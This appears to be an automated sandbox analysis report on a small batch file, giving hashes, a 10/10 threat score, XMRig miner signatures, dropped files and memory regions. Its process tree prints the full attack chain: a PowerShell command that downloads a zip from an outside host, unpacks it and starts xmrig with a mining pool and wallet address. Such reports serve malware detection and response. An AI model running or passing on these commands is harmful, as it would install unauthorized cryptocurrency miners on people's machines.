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Analysis

  • max time kernel
    1820s
  • max time network
    1844s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    14/10/2023, 06:30

General

  • Target

    tesy - Copy (4).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:608
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2912

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    2afaaa937f7933cd107052b97893684a

    SHA1

    3565e70ad94965a8b1ad68c2408b28977f1dbced

    SHA256

    b820459a7ca46d37701809e15d7fab92737e47ddb0aa60e4882a8220eca0e12b

    SHA512

    4b5e334c956ee6a696b0bdbff2d8452db957b37085939b6e9e4b2692bfeb762c487838c81ade38603dfef5320e7309aa767ea18754dfc677ccf8517df7be7a06

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vhokxev3.4wj.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/608-103-0x00007FFA75960000-0x00007FFA7634C000-memory.dmp

    Filesize

    9.9MB

  • memory/608-66-0x000002FB7AE20000-0x000002FB7AE30000-memory.dmp

    Filesize

    64KB

  • memory/608-39-0x00007FFA75960000-0x00007FFA7634C000-memory.dmp

    Filesize

    9.9MB

  • memory/608-93-0x000002FB7AE00000-0x000002FB7AE0A000-memory.dmp

    Filesize

    40KB

  • memory/608-41-0x000002FB7AE20000-0x000002FB7AE30000-memory.dmp

    Filesize

    64KB

  • memory/608-80-0x000002FB7B070000-0x000002FB7B082000-memory.dmp

    Filesize

    72KB

  • memory/608-42-0x000002FB7AE20000-0x000002FB7AE30000-memory.dmp

    Filesize

    64KB

  • memory/2096-26-0x00007FFA75960000-0x00007FFA7634C000-memory.dmp

    Filesize

    9.9MB

  • memory/2096-8-0x0000011A28740000-0x0000011A28750000-memory.dmp

    Filesize

    64KB

  • memory/2096-25-0x0000011A28740000-0x0000011A28750000-memory.dmp

    Filesize

    64KB

  • memory/2096-10-0x0000011A288D0000-0x0000011A28946000-memory.dmp

    Filesize

    472KB

  • memory/2096-4-0x0000011A285C0000-0x0000011A285E2000-memory.dmp

    Filesize

    136KB

  • memory/2096-6-0x0000011A28740000-0x0000011A28750000-memory.dmp

    Filesize

    64KB

  • memory/2096-5-0x00007FFA75960000-0x00007FFA7634C000-memory.dmp

    Filesize

    9.9MB

  • memory/2096-27-0x0000011A28740000-0x0000011A28750000-memory.dmp

    Filesize

    64KB

  • memory/2096-28-0x0000011A28740000-0x0000011A28750000-memory.dmp

    Filesize

    64KB

  • memory/2096-33-0x0000011A28890000-0x0000011A288B1000-memory.dmp

    Filesize

    132KB

  • memory/2096-34-0x00007FFA75960000-0x00007FFA7634C000-memory.dmp

    Filesize

    9.9MB

  • memory/2912-129-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-140-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-109-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-110-0x0000029C20980000-0x0000029C209A0000-memory.dmp

    Filesize

    128KB

  • memory/2912-111-0x0000029C209A0000-0x0000029C209C0000-memory.dmp

    Filesize

    128KB

  • memory/2912-112-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-113-0x0000029C20980000-0x0000029C209A0000-memory.dmp

    Filesize

    128KB

  • memory/2912-114-0x0000029C209A0000-0x0000029C209C0000-memory.dmp

    Filesize

    128KB

  • memory/2912-115-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-116-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-117-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-118-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-119-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-120-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-121-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-122-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-123-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-124-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-125-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-126-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-127-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-128-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-107-0x0000029C1EE30000-0x0000029C1EE50000-memory.dmp

    Filesize

    128KB

  • memory/2912-130-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-131-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-132-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-133-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-134-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-135-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-136-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-137-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-138-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-139-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-108-0x0000029C1F090000-0x0000029C1F0D0000-memory.dmp

    Filesize

    256KB

  • memory/2912-141-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-142-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-143-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-144-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-145-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-146-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-147-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-148-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-149-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-150-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-151-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-152-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-153-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-154-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-155-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-156-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-157-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-158-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-159-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-160-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-161-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-162-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-163-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-164-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-165-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-166-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-167-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-168-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-169-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-170-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-171-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-172-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-173-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB

  • memory/2912-174-0x00007FF700910000-0x00007FF701413000-memory.dmp

    Filesize

    11.0MB